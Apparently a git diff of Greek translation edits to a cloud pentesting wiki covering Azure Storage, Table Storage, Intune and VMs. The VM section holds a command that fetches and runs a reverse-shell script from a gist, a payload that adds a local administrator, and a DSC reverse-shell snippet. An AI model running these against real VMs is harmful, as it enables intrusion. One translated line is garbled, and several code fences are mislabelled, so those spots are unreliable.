**Ενεργοποίηση υποστήριξης αμεταβλητότητας επιπέδου εκδοχής**: Σας επιτρέπει να ορίσετε πολιτική διατήρησης βάσει χρόνου σε επίπεδο λογαριασμού που θα ισχύει για όλες τις εκδόσεις blob. - Η υποστήριξη αμεταβλητότητας επιπέδου εκδοχής και η ανάκτηση σε συγκεκριμένο χρόνο για δοχεία δεν μπορούν να ενεργοποιηθούν ταυτόχρονα. -**Επιλογές διαμόρφωσης κρυπτογράφησης**: +**Επιλογές Διαμόρφωσης Κρυπτογράφησης**: - **Τύπος κρυπτογράφησης**: Είναι δυνατή η χρήση κλειδιών που διαχειρίζεται η Microsoft (MMK) ή κλειδιών που διαχειρίζεται ο πελάτης (CMK). - **Ενεργοποίηση κρυπτογράφησης υποδομής**: Επιτρέπει την διπλή κρυπτογράφηση των δεδομένων "για περισσότερη ασφάλεια". ### Τερματικά Αποθήκευσης -
Υπηρεσία ΑποθήκευσηςΤερματικό
Blob storagehttps://<storage-account>.blob.core.windows.net

https://<stg-acc>.blob.core.windows.net/<container-name>?restype=container&comp=list
Data Lake Storagehttps://<storage-account>.dfs.core.windows.net
Azure Fileshttps://<storage-account>.file.core.windows.net
Queue storagehttps://<storage-account>.queue.core.windows.net
Table storagehttps://<storage-account>.table.core.windows.net
+
Υπηρεσία ΑποθήκευσηςΤερματικό
Αποθήκευση Blobhttps://.blob.core.windows.net

https://.blob.core.windows.net/?restype=container&comp=list
Αποθήκευση Data Lakehttps://.dfs.core.windows.net
Azure Fileshttps://.file.core.windows.net
Αποθήκευση Ουρώνhttps://.queue.core.windows.net
Αποθήκευση Πινάκωνhttps://.table.core.windows.net
### Δημόσια Έκθεση -Αν η "Επιτρέπεται η δημόσια πρόσβαση Blob" είναι **ενεργοποιημένη** (απενεργοποιημένη από προεπιλογή), κατά τη δημιουργία ενός δοχείου είναι δυνατή η: +Εάν η "Επιτρέπεται η δημόσια πρόσβαση Blob" είναι **ενεργοποιημένη** (απενεργοποιημένη από προεπιλογή), κατά τη δημιουργία ενός δοχείου είναι δυνατή η: - Παροχή **δημόσιας πρόσβασης για ανάγνωση blobs** (πρέπει να γνωρίζετε το όνομα). - **Λίστα των blobs του δοχείου** και **ανάγνωση** τους. -- Να γίνει πλήρως **ιδιωτικό**. +- Να είναι πλήρως **ιδιωτικό**.
### Σύνδεση με την Αποθήκευση -Αν βρείτε οποιαδήποτε **αποθήκευση** στην οποία μπορείτε να συνδεθείτε, μπορείτε να χρησιμοποιήσετε το εργαλείο [**Microsoft Azure Storage Explorer**](https://azure.microsoft.com/es-es/products/storage/storage-explorer/) για να το κάνετε. +Εάν βρείτε οποιαδήποτε **αποθήκευση** στην οποία μπορείτε να συνδεθείτε, μπορείτε να χρησιμοποιήσετε το εργαλείο [**Microsoft Azure Storage Explorer**](https://azure.microsoft.com/es-es/products/storage/storage-explorer/) για να το κάνετε. ## Πρόσβαση στην Αποθήκευση @@ -83,7 +83,7 @@ ### **Κοινά Κλειδιά & Ελαφριά Κοινά Κλειδιά** -Είναι δυνατή η [**δημιουργία Κοινών Κλειδιών**](https://learn.microsoft.com/en-us/rest/api/storageservices/authorize-with-shared-key) υπογεγραμμένων με τα κλειδιά πρόσβασης για την εξουσιοδότηση πρόσβασης σε συγκεκριμένους πόρους μέσω μιας υπογεγραμμένης διεύθυνσης URL. +Είναι δυνατή η [**δημιουργία Κοινών Κλειδιών**](https://learn.microsoft.com/en-us/rest/api/storageservices/authorize-with-shared-key) υπογεγραμμένων με τα κλειδιά πρόσβασης για την εξουσιοδότηση πρόσβασης σε ορισμένους πόρους μέσω μιας υπογεγραμμένης διεύθυνσης URL. > [!NOTE] > Σημειώστε ότι το μέρος `CanonicalizedResource` αντιπροσωπεύει τον πόρο υπηρεσιών αποθήκευσης (URI). Και αν οποιοδήποτε μέρος στη διεύθυνση URL είναι κωδικοποιημένο, θα πρέπει επίσης να είναι κωδικοποιημένο μέσα στο `CanonicalizedResource`. @@ -108,7 +108,7 @@ Range + "\n" + CanonicalizedHeaders + CanonicalizedResource; ``` -- Είναι δυνατόν να δημιουργηθεί ένα **κοινό κλειδί για τις υπηρεσίες πίνακα** υπογράφοντας τις παρακάτω πληροφορίες: +- Είναι δυνατόν να δημιουργήσετε ένα **κοινό κλειδί για τις υπηρεσίες πίνακα** υπογράφοντας τις παρακάτω πληροφορίες: ```bash StringToSign = VERB + "\n" + Content-MD5 + "\n" + @@ -144,7 +144,7 @@ Content-Length: 0 ``` ### **Shared Access Signature** (SAS) -Οι Υπογραφές Κοινής Πρόσβασης (SAS) είναι ασφαλή, περιορισμένα χρονικά URLs που **παρέχουν συγκεκριμένα δικαιώματα πρόσβασης σε πόρους** σε έναν λογαριασμό Azure Storage χωρίς να εκθέτουν τα κλειδιά πρόσβασης του λογαριασμού. Ενώ τα κλειδιά πρόσβασης παρέχουν πλήρη διαχειριστική πρόσβαση σε όλους τους πόρους, το SAS επιτρέπει λεπτομερή έλεγχο καθορίζοντας δικαιώματα (όπως ανάγνωση ή εγγραφή) και ορίζοντας χρόνο λήξης. +Οι Κοινές Υπογραφές Πρόσβασης (SAS) είναι ασφαλείς, περιορισμένες χρονικά διευθύνσεις URL που **παρέχουν συγκεκριμένα δικαιώματα πρόσβασης σε πόρους** σε έναν λογαριασμό Azure Storage χωρίς να εκθέτουν τα κλειδιά πρόσβασης του λογαριασμού. Ενώ τα κλειδιά πρόσβασης παρέχουν πλήρη διαχειριστική πρόσβαση σε όλους τους πόρους, το SAS επιτρέπει λεπτομερή έλεγχο καθορίζοντας δικαιώματα (όπως ανάγνωση ή εγγραφή) και ορίζοντας χρόνο λήξης. #### Τύποι SAS @@ -153,43 +153,43 @@ Content-Length: 0 - **Service SAS**: Υπογράφεται χρησιμοποιώντας ένα από τα **access keys** του λογαριασμού αποθήκευσης. Μπορεί να χρησιμοποιηθεί για να παραχωρήσει πρόσβαση σε συγκεκριμένους πόρους σε μια μόνο υπηρεσία αποθήκευσης. Αν το κλειδί ανανεωθεί, το SAS θα σταματήσει να λειτουργεί. - **Account SAS**: Υπογράφεται επίσης με ένα από τα **access keys** του λογαριασμού αποθήκευσης. Παρέχει πρόσβαση σε πόρους σε όλες τις υπηρεσίες ενός λογαριασμού αποθήκευσης (Blob, Queue, Table, File) και μπορεί να περιλαμβάνει λειτουργίες σε επίπεδο υπηρεσίας. -Ένα SAS URL υπογεγραμμένο με ένα **access key** φαίνεται έτσι: +Μια διεύθυνση URL SAS που υπογράφεται με ένα **access key** φαίνεται έτσι: - `https://.blob.core.windows.net/newcontainer?sp=r&st=2021-09-26T18:15:21Z&se=2021-10-27T02:14:21Z&spr=https&sv=2021-07-08&sr=c&sig=7S%2BZySOgy4aA3Dk0V1cJyTSIf1cW%2Fu3WFkhHV32%2B4PE%3D` -Ένα SAS URL υπογεγραμμένο ως **user delegation** φαίνεται έτσι: +Μια διεύθυνση URL SAS που υπογράφεται ως **user delegation** φαίνεται έτσι: - `https://.blob.core.windows.net/testing-container?sp=r&st=2024-11-22T15:07:40Z&se=2024-11-22T23:07:40Z&skoid=d77c71a1-96e7-483d-bd51-bd753aa66e62&sktid=fdd066e1-ee37-49bc-b08f-d0e152119b04&skt=2024-11-22T15:07:40Z&ske=2024-11-22T23:07:40Z&sks=b&skv=2022-11-02&spr=https&sv=2022-11-02&sr=c&sig=7s5dJyeE6klUNRulUj9TNL0tMj2K7mtxyRc97xbYDqs%3D` Σημειώστε μερικές **http params**: -- Η **`se`** παράμετρος υποδεικνύει την **ημερομηνία λήξης** του SAS -- Η **`sp`** παράμετρος υποδεικνύει τα **δικαιώματα** του SAS +- Η παράμετρος **`se`** υποδεικνύει την **ημερομηνία λήξης** του SAS +- Η παράμετρος **`sp`** υποδεικνύει τα **δικαιώματα** του SAS - Η **`sig`** είναι η **υπογραφή** που επικυρώνει το SAS #### Δικαιώματα SAS -Κατά την παραγωγή ενός SAS, είναι απαραίτητο να υποδειχθούν τα δικαιώματα που θα πρέπει να παρέχει. Ανάλογα με το αντικείμενο πάνω στο οποίο παράγεται το SAS, μπορεί να περιλαμβάνονται διαφορετικά δικαιώματα. Για παράδειγμα: +Κατά την παραγωγή ενός SAS, είναι απαραίτητο να υποδειχθούν τα δικαιώματα που θα παραχωρεί. Ανάλογα με το αντικείμενο πάνω στο οποίο παράγεται το SAS, μπορεί να περιλαμβάνονται διαφορετικά δικαιώματα. Για παράδειγμα: - (a)dd, (c)reate, (d)elete, (e)xecute, (f)ilter_by_tags, (i)set_immutability_policy, (l)ist, (m)ove, (r)ead, (t)ag, (w)rite, (x)delete_previous_version, (y)permanent_delete ## SFTP Support for Azure Blob Storage -Το Azure Blob Storage υποστηρίζει τώρα το Πρωτόκολλο Μεταφοράς Αρχείων SSH (SFTP), επιτρέποντας ασφαλή μεταφορά και διαχείριση αρχείων απευθείας στο Blob Storage χωρίς να απαιτούνται προσαρμοσμένες λύσεις ή προϊόντα τρίτων. +Η Azure Blob Storage υποστηρίζει τώρα το Πρωτόκολλο Μεταφοράς Αρχείων SSH (SFTP), επιτρέποντας ασφαλή μεταφορά και διαχείριση αρχείων απευθείας στην Blob Storage χωρίς να απαιτούνται προσαρμοσμένες λύσεις ή προϊόντα τρίτων. ### Κύρια Χαρακτηριστικά - Υποστήριξη Πρωτοκόλλου: Το SFTP λειτουργεί με λογαριασμούς Blob Storage που είναι διαμορφωμένοι με ιεραρχικό χώρο ονομάτων (HNS). Αυτό οργανώνει τα blobs σε καταλόγους και υποκαταλόγους για ευκολότερη πλοήγηση. - Ασφάλεια: Το SFTP χρησιμοποιεί τοπικές ταυτότητες χρηστών για την αυθεντικοποίηση και δεν ενσωματώνεται με RBAC ή ABAC. Κάθε τοπικός χρήστης μπορεί να αυθεντικοποιηθεί μέσω: -- Κωδικών πρόσβασης που δημιουργούνται από το Azure +- Κωδικών πρόσβασης που δημιουργούνται από την Azure - Δημόσιων-ιδιωτικών ζευγών κλειδιών SSH - Λεπτομερή Δικαιώματα: Δικαιώματα όπως Ανάγνωση, Εγγραφή, Διαγραφή και Λίστα μπορούν να εκχωρηθούν σε τοπικούς χρήστες για έως 100 κοντέινερ. -- Δικτυακές Σκέψεις: Οι συνδέσεις SFTP γίνονται μέσω της θύρας 22. Το Azure υποστηρίζει δικτυακές διαμορφώσεις όπως τείχη προστασίας, ιδιωτικά endpoints ή εικονικά δίκτυα για την ασφάλιση της κυκλοφορίας SFTP. +- Δικτυακές Σκέψεις: Οι συνδέσεις SFTP γίνονται μέσω της θύρας 22. Η Azure υποστηρίζει δικτυακές διαμορφώσεις όπως τείχη προστασίας, ιδιωτικά endpoints ή εικονικά δίκτυα για την ασφάλιση της κυκλοφορίας SFTP. ### Απαιτήσεις Ρύθμισης - Ιεραρχικός Χώρος Ονομάτων: Το HNS πρέπει να είναι ενεργοποιημένο κατά τη δημιουργία του λογαριασμού αποθήκευσης. -- Υποστηριζόμενη Κρυπτογράφηση: Απαιτείται η έγκριση αλγορίθμων κρυπτογράφησης από το Microsoft Security Development Lifecycle (SDL) (π.χ. rsa-sha2-256, ecdsa-sha2-nistp256). +- Υποστηριζόμενη Κρυπτογράφηση: Απαιτείται η έγκριση κρυπτογραφικών αλγορίθμων από τον Κύκλο Ζωής Ανάπτυξης Ασφαλείας της Microsoft (SDL) (π.χ. rsa-sha2-256, ecdsa-sha2-nistp256). - Ρύθμιση SFTP: - Ενεργοποιήστε το SFTP στον λογαριασμό αποθήκευσης. - Δημιουργήστε τοπικές ταυτότητες χρηστών με κατάλληλα δικαιώματα. @@ -199,7 +199,7 @@ Content-Length: 0 | Δικαίωμα | Σύμβολο | Περιγραφή | | ---------------------- | ------ | ------------------------------------ | -| **Ανάγνωση** | `r` | Ανάγνωση περιεχομένου αρχείου. | +| **Ανάγνωση** | `r` | Ανάγνωση περιεχομένου αρχείου. | | **Εγγραφή** | `w` | Μεταφόρτωση αρχείων και δημιουργία καταλόγων. | | **Λίστα** | `l` | Λίστα περιεχομένων καταλόγων. | | **Διαγραφή** | `d` | Διαγραφή αρχείων ή καταλόγων. | @@ -330,7 +330,7 @@ az storage account local-user list \ {{#endtab }} {{#tab name="Az PowerShell" }} -```powershell +```bash # Get storage accounts Get-AzStorageAccount | fl # Get rules to access the storage account diff --git a/src/pentesting-cloud/azure-security/az-services/az-table-storage.md b/src/pentesting-cloud/azure-security/az-services/az-table-storage.md index cc0d25cf9..05065d31c 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-table-storage.md +++ b/src/pentesting-cloud/azure-security/az-services/az-table-storage.md @@ -4,21 +4,21 @@ ## Basic Information -**Azure Table Storage** είναι ένα NoSQL key-value store σχεδιασμένο για την αποθήκευση μεγάλων όγκων δομημένων, μη σχεσιακών δεδομένων. Προσφέρει υψηλή διαθεσιμότητα, χαμηλή καθυστέρηση και κλιμακωσιμότητα για την αποτελεσματική διαχείριση μεγάλων συνόλων δεδομένων. Τα δεδομένα οργανώνονται σε πίνακες, με κάθε οντότητα να προσδιορίζεται από ένα partition key και ένα row key, επιτρέποντας γρήγορες αναζητήσεις. Υποστηρίζει χαρακτηριστικά όπως κρυπτογράφηση σε κατάσταση ηρεμίας, έλεγχο πρόσβασης βάσει ρόλου και υπογραφές κοινής πρόσβασης για ασφαλή, διαχειριζόμενη αποθήκευση κατάλληλη για ένα ευρύ φάσμα εφαρμογών. +**Azure Table Storage** είναι ένα NoSQL key-value store σχεδιασμένο για την αποθήκευση μεγάλων όγκων δομημένων, μη σχεσιακών δεδομένων. Προσφέρει υψηλή διαθεσιμότητα, χαμηλή καθυστέρηση και κλιμακωσιμότητα για την αποτελεσματική διαχείριση μεγάλων συνόλων δεδομένων. Τα δεδομένα οργανώνονται σε πίνακες, με κάθε οντότητα να προσδιορίζεται από ένα partition key και ένα row key, επιτρέποντας γρήγορες αναζητήσεις. Υποστηρίζει χαρακτηριστικά όπως κρυπτογράφηση σε κατάσταση ηρεμίας, έλεγχο πρόσβασης βάσει ρόλων και υπογραφές κοινής πρόσβασης για ασφαλή, διαχειριζόμενη αποθήκευση κατάλληλη για ένα ευρύ φάσμα εφαρμογών. -Δεν **υπάρχει ενσωματωμένος μηχανισμός δημιουργίας αντιγράφων ασφαλείας** για την αποθήκευση πίνακα. +Δεν **υπάρχει ενσωματωMechanism backup** για την αποθήκευση πίνακα. ### Keys #### **PartitionKey** -- Το **PartitionKey ομαδοποιεί τις οντότητες σε λογικές κατανομές**. Οι οντότητες με το ίδιο PartitionKey αποθηκεύονται μαζί, γεγονός που βελτιώνει την απόδοση των ερωτημάτων και την κλιμακωσιμότητα. +- Το **PartitionKey ομαδοποιεί τις οντότητες σε λογικά partitions**. Οι οντότητες με το ίδιο PartitionKey αποθηκεύονται μαζί, γεγονός που βελτιώνει την απόδοση των ερωτημάτων και την κλιμακωσιμότητα. - Παράδειγμα: Σε έναν πίνακα που αποθηκεύει δεδομένα υπαλλήλων, το `PartitionKey` μπορεί να αντιπροσωπεύει ένα τμήμα, π.χ., `"HR"` ή `"IT"`. #### **RowKey** -- Το **RowKey είναι ο μοναδικός προσδιοριστής** για μια οντότητα εντός μιας κατανομής. Όταν συνδυάζεται με το PartitionKey, διασφαλίζει ότι κάθε οντότητα στον πίνακα έχει έναν παγκοσμίως μοναδικό προσδιοριστή. -- Παράδειγμα: Για την κατανομή `"HR"`, το `RowKey` μπορεί να είναι ένα ID υπαλλήλου, π.χ., `"12345"`. +- Το **RowKey είναι ο μοναδικός προσδιοριστής** για μια οντότητα εντός ενός partition. Όταν συνδυάζεται με το PartitionKey, διασφαλίζει ότι κάθε οντότητα στον πίνακα έχει έναν παγκοσμίως μοναδικό προσδιοριστή. +- Παράδειγμα: Για το partition `"HR"`, το `RowKey` μπορεί να είναι ένα ID υπαλλήλου, π.χ., `"12345"`. #### **Other Properties (Custom Properties)** @@ -63,7 +63,7 @@ az storage entity merge \ ``` {{#endtab}} {{#tab name="PowerShell"}} -```powershell +```bash # Get storage accounts Get-AzStorageAccount diff --git a/src/pentesting-cloud/azure-security/az-services/intune.md b/src/pentesting-cloud/azure-security/az-services/intune.md index 87ef625d9..9dc67afc7 100644 --- a/src/pentesting-cloud/azure-security/az-services/intune.md +++ b/src/pentesting-cloud/azure-security/az-services/intune.md @@ -4,13 +4,13 @@ ## Basic Information -Το Microsoft Intune έχει σχεδιαστεί για να απλοποιεί τη διαδικασία της **διαχείρισης εφαρμογών και συσκευών**. Οι δυνατότητές του εκτείνονται σε μια ποικιλία συσκευών, περιλαμβάνοντας κινητές συσκευές, επιτραπέζιους υπολογιστές και εικονικά σημεία. Η βασική λειτουργικότητα του Intune περιστρέφεται γύρω από **τη διαχείριση της πρόσβασης των χρηστών και την απλοποίηση της διαχείρισης των εφαρμογών** και συσκευών εντός του δικτύου ενός οργανισμού. +Microsoft Intune έχει σχεδιαστεί για να απλοποιεί τη διαδικασία της **διαχείρισης εφαρμογών και συσκευών**. Οι δυνατότητές του εκτείνονται σε μια ποικιλία συσκευών, περιλαμβάνοντας κινητές συσκευές, επιτραπέζιους υπολογιστές και εικονικά σημεία. Η βασική λειτουργικότητα του Intune περιστρέφεται γύρω από **τη διαχείριση της πρόσβασης των χρηστών και την απλοποίηση της διαχείρισης των εφαρμογών** και συσκευών εντός του δικτύου ενός οργανισμού. ## Cloud -> On-Prem Ένας χρήστης με ρόλο **Global Administrator** ή **Intune Administrator** μπορεί να εκτελεί **PowerShell** scripts σε οποιαδήποτε **εγγεγραμμένη Windows** συσκευή.\ Το **script** εκτελείται με **δικαιώματα** **SYSTEM** στη συσκευή μόνο μία φορά αν δεν αλλάξει, και από το Intune **δεν είναι δυνατή η προβολή της εξόδου** του script. -```powershell +```bash Get-AzureADGroup -Filter "DisplayName eq 'Intune Administrators'" ``` 1. Συνδεθείτε στο [https://endpoint.microsoft.com/#home](https://endpoint.microsoft.com/#home) ή χρησιμοποιήστε το Pass-The-PRT diff --git a/src/pentesting-cloud/azure-security/az-services/vms/README.md b/src/pentesting-cloud/azure-security/az-services/vms/README.md index 7ae98e1e7..1bb6f4c9a 100644 --- a/src/pentesting-cloud/azure-security/az-services/vms/README.md +++ b/src/pentesting-cloud/azure-security/az-services/vms/README.md @@ -20,8 +20,8 @@ az-azure-network.md - **Τύπος Ασφαλείας**: - **Τυπική Ασφάλεια**: Αυτός είναι ο προεπιλεγμένος τύπος ασφάλειας που δεν απαιτεί καμία συγκεκριμένη διαμόρφωση. - **Εμπιστευτική Εκκίνηση**: Αυτός ο τύπος ασφάλειας ενισχύει την προστασία κατά των boot kits και του κακόβουλου λογισμικού επιπέδου πυρήνα χρησιμοποιώντας Secure Boot και Virtual Trusted Platform Module (vTPM). -- **Εμπιστευτικές VMs**: Εκτός από μια εμπιστευτική εκκίνηση, προσφέρει απομόνωση βασισμένη σε υλικό μεταξύ της VM, του hypervisor και της διαχείρισης του host, βελτιώνει την κρυπτογράφηση δίσκων και [**περισσότερα**](https://learn.microsoft.com/en-us/azure/confidential-computing/confidential-vm-overview)**.** -- **Αυθεντικοποίηση**: Από προεπιλογή, δημιουργείται ένα νέο **κλειδί SSH**, αν και είναι δυνατόν να χρησιμοποιηθεί ένα δημόσιο κλειδί ή να χρησιμοποιηθεί ένα προηγούμενο κλειδί και το όνομα χρήστη από προεπιλογή είναι **azureuser**. Είναι επίσης δυνατό να διαμορφωθεί η χρήση **κωδικού πρόσβασης.** +- **Εμπιστευτικές VMs**: Εκτός από μια εμπιστευτική εκκίνηση, προσφέρει απομόνωση βασισμένη σε υλικό μεταξύ της VM, του hypervisor και της διαχείρισης του host, βελτιώνει την κρυπτογράφηση δίσκου και [**περισσότερα**](https://learn.microsoft.com/en-us/azure/confidential-computing/confidential-vm-overview)**.** +- **Αυθεντικοποίηση**: Από προεπιλογή, μια νέα **κλειδί SSH δημιουργείται**, αν και είναι δυνατόν να χρησιμοποιηθεί ένα δημόσιο κλειδί ή να χρησιμοποιηθεί ένα προηγούμενο κλειδί και το όνομα χρήστη από προεπιλογή είναι **azureuser**. Είναι επίσης δυνατό να διαμορφωθεί η χρήση **κωδικού πρόσβασης.** - **Κρυπτογράφηση δίσκου VM:** Ο δίσκος κρυπτογραφείται σε κατάσταση αδράνειας από προεπιλογή χρησιμοποιώντας ένα κλειδί που διαχειρίζεται η πλατφόρμα. - Είναι επίσης δυνατό να ενεργοποιηθεί η **Κρυπτογράφηση στον host**, όπου τα δεδομένα θα κρυπτογραφούνται στον host πριν αποσταλούν στην υπηρεσία αποθήκευσης, εξασφαλίζοντας κρυπτογράφηση από άκρο σε άκρο μεταξύ του host και της υπηρεσίας αποθήκευσης ([**docs**](https://learn.microsoft.com/en-gb/azure/virtual-machines/disk-encryption#encryption-at-host---end-to-end-encryption-for-your-vm-data)). - **Ομάδα ασφαλείας δικτύου NIC**: @@ -50,7 +50,7 @@ az-azure-network.md - Το ίδιο ισχύει και για τα στιγμιότυπα - Από προεπιλογή είναι δυνατόν να **μοιραστεί ο δίσκος από όλα τα δίκτυα**, αλλά μπορεί επίσης να **περιοριστεί** μόνο σε ορισμένες **ιδιωτικές προσβάσεις** ή να **απενεργοποιηθεί εντελώς** η δημόσια και ιδιωτική πρόσβαση. - Το ίδιο ισχύει και για τα στιγμιότυπα -- Είναι δυνατόν να **δημιουργηθεί ένα SAS URI** (μέγιστο 60 ημέρες) για **εξαγωγή του δίσκου**, το οποίο μπορεί να διαμορφωθεί ώστε να απαιτεί αυθεντικοποίηση ή όχι +- Είναι δυνατόν να **δημιουργηθεί ένα SAS URI** (μέγιστο 60 ημερών) για **εξαγωγή του δίσκου**, το οποίο μπορεί να διαμορφωθεί ώστε να απαιτεί αυθεντικοποίηση ή όχι - Το ίδιο ισχύει και για τα στιγμιότυπα {{#tabs}} @@ -64,7 +64,7 @@ az disk show --name --resource-group ``` {{#endtab}} {{#tab name="PowerShell"}} -```powershell +```bash # List all disks Get-AzDisk @@ -76,10 +76,10 @@ Get-AzDisk -Name -ResourceGroupName ## Εικόνες, Γκαλερί Εικόνων & Σημεία Επαναφοράς -Μια **εικόνα VM** είναι ένα πρότυπο που περιέχει το λειτουργικό σύστημα, τις ρυθμίσεις εφαρμογής και το σύστημα αρχείων που απαιτούνται για **τη δημιουργία μιας νέας εικονικής μηχανής (VM)**. Η διαφορά μεταξύ μιας εικόνας και ενός στιγμιότυπου δίσκου είναι ότι ένα στιγμιότυπο δίσκου είναι μια μόνο αναγνώσιμη, χρονικά καθορισμένη αντιγραφή ενός διαχειριζόμενου δίσκου, που χρησιμοποιείται κυρίως για αντίγραφα ασφαλείας ή αποσφαλμάτωση, ενώ μια εικόνα μπορεί να περιέχει **πολλούς δίσκους και έχει σχεδιαστεί για να χρησιμεύει ως πρότυπο για τη δημιουργία νέων VMs**.\ -Οι εικόνες μπορούν να διαχειρίζονται στην **ενότητα Εικόνες** του Azure ή μέσα σε **γκαλερί υπολογιστών Azure**, οι οποίες επιτρέπουν τη δημιουργία **εκδόσεων** και **κοινοποίηση** της εικόνας διασυνοριακά ή ακόμη και την καθιστούν δημόσια. +Μια **εικόνα VM** είναι ένα πρότυπο που περιέχει το λειτουργικό σύστημα, τις ρυθμίσεις εφαρμογής και το σύστημα αρχείων που απαιτούνται για **τη δημιουργία μιας νέας εικονικής μηχανής (VM)**. Η διαφορά μεταξύ μιας εικόνας και ενός στιγμιότυπου δίσκου είναι ότι ένα στιγμιότυπο δίσκου είναι μια μόνο ανάγνωση, αντίγραφο χρονικής στιγμής ενός διαχειριζόμενου δίσκου, που χρησιμοποιείται κυρίως για αντίγραφα ασφαλείας ή αποσφαλμάτωσης, ενώ μια εικόνα μπορεί να περιέχει **πολλούς δίσκους και έχει σχεδιαστεί για να χρησιμεύει ως πρότυπο για τη δημιουργία νέων VMs**.\ +Οι εικόνες μπορούν να διαχειρίζονται στην **ενότητα Εικόνες** του Azure ή μέσα σε **γκαλερί υπολογιστών Azure**, οι οποίες επιτρέπουν τη δημιουργία **εκδόσεων** και **κοινοποίηση** της εικόνας διασυνοριακά ή ακόμη και να την κάνουν δημόσια. -Ένα **σημείο επαναφοράς** αποθηκεύει τη διαμόρφωση της VM και **χρονικά καθορισμένα** στιγμιότυπα εφαρμογής-συνεπούς **όλων των διαχειριζόμενων δίσκων** που είναι συνδεδεμένοι με τη VM. Σχετίζεται με τη VM και ο σκοπός του είναι να μπορεί να επαναφέρει αυτή τη VM στην κατάσταση που ήταν σε εκείνο το συγκεκριμένο χρονικό σημείο. +Ένα **σημείο επαναφοράς** αποθηκεύει τη διαμόρφωση της VM και **στιγμιότυπα χρονικής στιγμής** που είναι συμβατά με την εφαρμογή **όλων των διαχειριζόμενων δίσκων** που είναι συνδεδεμένοι με τη VM. Σχετίζεται με τη VM και ο σκοπός του είναι να μπορεί να επαναφέρει αυτή τη VM στην κατάσταση που ήταν σε εκείνη τη συγκεκριμένη χρονική στιγμή. {{#tabs}} {{#tab name="az cli"}} @@ -116,7 +116,7 @@ az restore-point collection show --collection-name --resource- ``` {{#endtab}} {{#tab name="PowerShell"}} -```powershell +```bash ## List all galleries and get info about one Get-AzGallery Get-AzGallery -Name -ResourceGroupName @@ -180,7 +180,7 @@ az network bastion rdp \ ``` {{#endtab}} {{#tab name="PowerShell"}} -```powershell +```bash # List bastions Get-AzBastion ``` @@ -189,7 +189,7 @@ Get-AzBastion ## Μεταδεδομένα -Η Υπηρεσία Μεταδεδομένων Στιγμιότυπου Azure (IMDS) **παρέχει πληροφορίες σχετικά με τις εκτελούμενες εικονικές μηχανές** για να βοηθήσει στη διαχείριση και τη διαμόρφωσή τους. Προσφέρει λεπτομέρειες όπως το SKU, αποθήκευση, ρυθμίσεις δικτύου και πληροφορίες σχετικά με προγραμματισμένα γεγονότα συντήρησης μέσω **REST API διαθέσιμου στη μη δρομολογήσιμη διεύθυνση IP 169.254.169.254**, η οποία είναι προσβάσιμη μόνο από μέσα στη VM. Η επικοινωνία μεταξύ της VM και του IMDS παραμένει εντός του κεντρικού υπολογιστή, διασφαλίζοντας ασφαλή πρόσβαση. Όταν γίνεται ερώτηση στο IMDS, οι HTTP πελάτες μέσα στη VM θα πρέπει να παρακάμπτουν τους διαδικτυακούς μεσολαβητές για να διασφαλίσουν σωστή επικοινωνία. +Η Υπηρεσία Μεταδεδομένων Εγκατάστασης Azure (IMDS) **παρέχει πληροφορίες σχετικά με τις τρέχουσες εικονικές μηχανές** για να βοηθήσει στη διαχείριση και τη διαμόρφωσή τους. Προσφέρει λεπτομέρειες όπως το SKU, αποθήκευση, ρυθμίσεις δικτύου και πληροφορίες σχετικά με προγραμματισμένα γεγονότα συντήρησης μέσω **REST API διαθέσιμου στη μη δρομολογήσιμη διεύθυνση IP 169.254.169.254**, η οποία είναι προσβάσιμη μόνο από μέσα στη VM. Η επικοινωνία μεταξύ της VM και του IMDS παραμένει εντός του κεντρικού υπολογιστή, διασφαλίζοντας ασφαλή πρόσβαση. Όταν γίνεται ερώτηση στο IMDS, οι HTTP πελάτες μέσα στη VM θα πρέπει να παρακάμπτουν τους διαδικτυακούς μεσολαβητές για να διασφαλίσουν σωστή επικοινωνία. Επιπλέον, για να επικοινωνήσετε με το σημείο τερματισμού μεταδεδομένων, το HTTP αίτημα πρέπει να έχει την κεφαλίδα **`Metadata: true`** και δεν πρέπει να έχει την κεφαλίδα **`X-Forwarded-For`**. @@ -336,7 +336,7 @@ az resource list --resource-type "Microsoft.Compute/virtualMachines" --query "[] az vm run-command list --output table ``` -```powershell +```bash # Get readable VMs Get-AzVM | fl # Lis running VMs @@ -450,7 +450,7 @@ az vm extension image list --publisher "Site24x7" --output table ``` {{#endtab }} {{#tab name="PowerShell" }} -```powershell +```bash # It takes some mins to run Get-AzVMExtensionImage -Location -PublisherName -Type ``` @@ -520,10 +520,10 @@ az vm extension set \ --settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/33b6d1a80421694e85d96b2a63fd1924/raw/d0ef31f62aaafaabfa6235291e3e931e20b0fc6f/ps1_rev_shell.ps1"]}' \ --protected-settings '{"commandToExecute": "powershell.exe -ExecutionPolicy Bypass -File ps1_rev_shell.ps1"}' ``` -Μπορείτε επίσης να εκτελέσετε άλλα payloads όπως: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add` +Μπορείτε επίσης να εκτελέσετε άλλες payloads όπως: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add` - Επαναφορά κωδικού πρόσβασης χρησιμοποιώντας την επέκταση VMAccess -```powershell +```bash # Run VMAccess extension to reset the password $cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password Set-AzVMAccessExtension -ResourceGroupName "" -VMName "" -Name "myVMAccess" -Credential $cred @@ -540,7 +540,7 @@ Set-AzVMAccessExtension -ResourceGroupName "" -VMName "" -Na Επέκταση VMAccess Αυτή η επέκταση επιτρέπει την τροποποίηση του κωδικού πρόσβασης (ή τη δημιουργία αν δεν υπάρχει) χρηστών μέσα σε Windows VMs. -```powershell +```bash # Run VMAccess extension to reset the password $cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password Set-AzVMAccessExtension -ResourceGroupName "" -VMName "" -Name "myVMAccess" -Credential $cred @@ -552,7 +552,7 @@ Set-AzVMAccessExtension -ResourceGroupName "" -VMName "" -Na DesiredStateConfiguration (DSC) Αυτή είναι μια **επέκταση VM** που ανήκει στη Microsoft και χρησιμοποιεί το PowerShell DSC για να διαχειρίζεται τη διαμόρφωση των Azure Windows VMs. Επομένως, μπορεί να χρησιμοποιηθεί για **να εκτελεί αυθαίρετες εντολές** σε Windows VMs μέσω αυτής της επέκτασης: -```powershell +```bash # Content of revShell.ps1 Configuration RevShellConfig { Node localhost { @@ -609,7 +609,7 @@ Set-AzVMDscExtension 